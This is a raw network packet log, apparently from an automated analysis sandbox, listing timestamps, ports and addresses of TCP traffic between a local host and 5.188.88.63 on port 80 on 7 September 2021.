Sep 7, 2021 16:02:40.586183071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.586213112 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.586225986 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.586239100 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.586241961 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.586244106 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.586270094 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.586298943 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.586325884 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.586354017 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.586388111 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.586414099 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.586458921 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.586466074 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.586482048 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.586484909 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.586730003 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.586760998 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.586786985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.586874008 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.586903095 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.587148905 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.587162971 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.587393045 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.587426901 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.587452888 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.587476015 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.587726116 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.587737083 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.592381954 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.592418909 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.592554092 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.594247103 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.599798918 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.599833012 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.599854946 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.599884033 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.599953890 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.600013018 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.600248098 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.600275040 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.600297928 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.600491047 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.600861073 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.600893974 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.600919962 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.600949049 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.602019072 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.602081060 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.602086067 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.602089882 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.605808973 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.615860939 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.615886927 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.615912914 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.616046906 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.616264105 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.616280079 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.618484974 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.618577003 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.618604898 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.618628025 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.618649960 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.618675947 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.618700981 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.618721962 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.618742943 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.619227886 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.619246960 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.619251013 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.619255066 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.620075941 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.620105028 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.620129108 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.620172977 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.620198011 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.620235920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.620254040 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.620260000 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.620265007 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.620284081 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.620306015 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.620327950 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.620377064 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.620744944 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.620754004 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.620758057 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.621810913 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.621840954 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.622049093 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.622072935 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.622092962 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.622188091 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.622200966 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.622204065 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.623218060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.623245955 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.623267889 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.623290062 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.623313904 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.623320103 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.623339891 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.623414993 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.623548985 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.623560905 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.625087976 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.625117064 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.625138044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.625207901 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.625224113 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.627223015 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.627250910 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.627273083 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.627445936 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.627474070 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.627496958 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.627505064 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.627518892 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.627522945 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.627528906 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.627545118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.628385067 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.628411055 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.628432989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.628454924 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.628477097 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.628500938 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.628506899 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.628524065 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.628534079 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.628532887 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.628556967 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.628588915 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.629524946 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.629545927 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.629558086 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.629843950 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.629858971 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.631465912 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.631490946 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.631525993 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.631545067 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.631561995 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.631568909 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.631578922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.631581068 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.631597996 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.631618023 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.631635904 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.631669998 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.631689072 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.631696939 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.634466887 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.634485960 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.634497881 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.634510994 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.634527922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.634541035 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.635098934 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.635210991 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.635230064 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.635247946 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.635265112 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.635281086 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.635308981 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.635333061 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.635349989 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.635361910 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.643582106 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.643606901 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.643830061 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.643867016 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.643893957 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.643917084 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.643937111 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.643959045 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.643981934 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.644032001 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.644045115 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.644048929 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.644078970 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.644104004 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.644125938 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.644145966 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.644166946 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.644186020 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.644187927 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.644215107 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.644237995 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.644258022 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.644279957 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.644300938 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.644364119 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.644378901 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.644387960 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.645468950 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.645612001 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.647242069 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.647264957 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.647285938 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.647330999 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.647373915 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.647412062 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.647479057 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.647516966 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.647555113 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.647578001 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.647625923 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.647692919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.647718906 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.647731066 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.647737980 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.647742033 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.647743940 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.647764921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.647835016 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.648262978 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.648653984 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.649439096 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.649463892 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.649488926 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.649519920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.649544954 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.649566889 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.649585009 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.649605989 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.649627924 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.649657965 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.649688959 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.649698973 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.649704933 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.649728060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.649748087 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.649772882 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.649790049 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.649795055 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.649827957 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.649838924 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.649852991 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.649933100 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.650048971 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.650279999 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.650343895 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.650388002 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.650409937 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.650414944 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.650432110 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.650454044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.650470018 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.650475979 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.650506973 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.650527954 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.650553942 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.650579929 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.650672913 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.650696039 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.651638031 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.652537107 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.652682066 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.652710915 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.652739048 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.652765036 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.652797937 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.652827978 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.652853966 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.652868986 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.652875900 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.652882099 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.652885914 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.652965069 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.653198957 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.653863907 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.660690069 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.660970926 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.661005020 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.661035061 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.661077976 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.661103010 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.666848898 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.667083979 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.667191982 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.667248011 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.667299986 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.667351007 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.667403936 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.667406082 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.667421103 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.667428970 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.667457104 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.667531013 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.668194056 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.669181108 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.669492960 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.677478075 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.677557945 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.677589893 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.677628994 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.677906990 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.677922010 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.680682898 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.681232929 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.681272984 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.681308031 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.681360960 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.681374073 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.682152987 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.682193041 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.682223082 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.682254076 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.682982922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.683013916 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.683150053 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.683157921 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.683160067 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.683161020 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.683187962 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.683235884 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.683343887 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.683903933 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.683937073 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.683959961 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.684104919 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.684497118 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.684524059 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.684709072 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.684745073 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.684787989 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.684793949 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.684798956 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.684802055 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.684804916 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:40.684825897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:40.684844017 CEST	80	49744	5.188.88.63	192.168.2.4
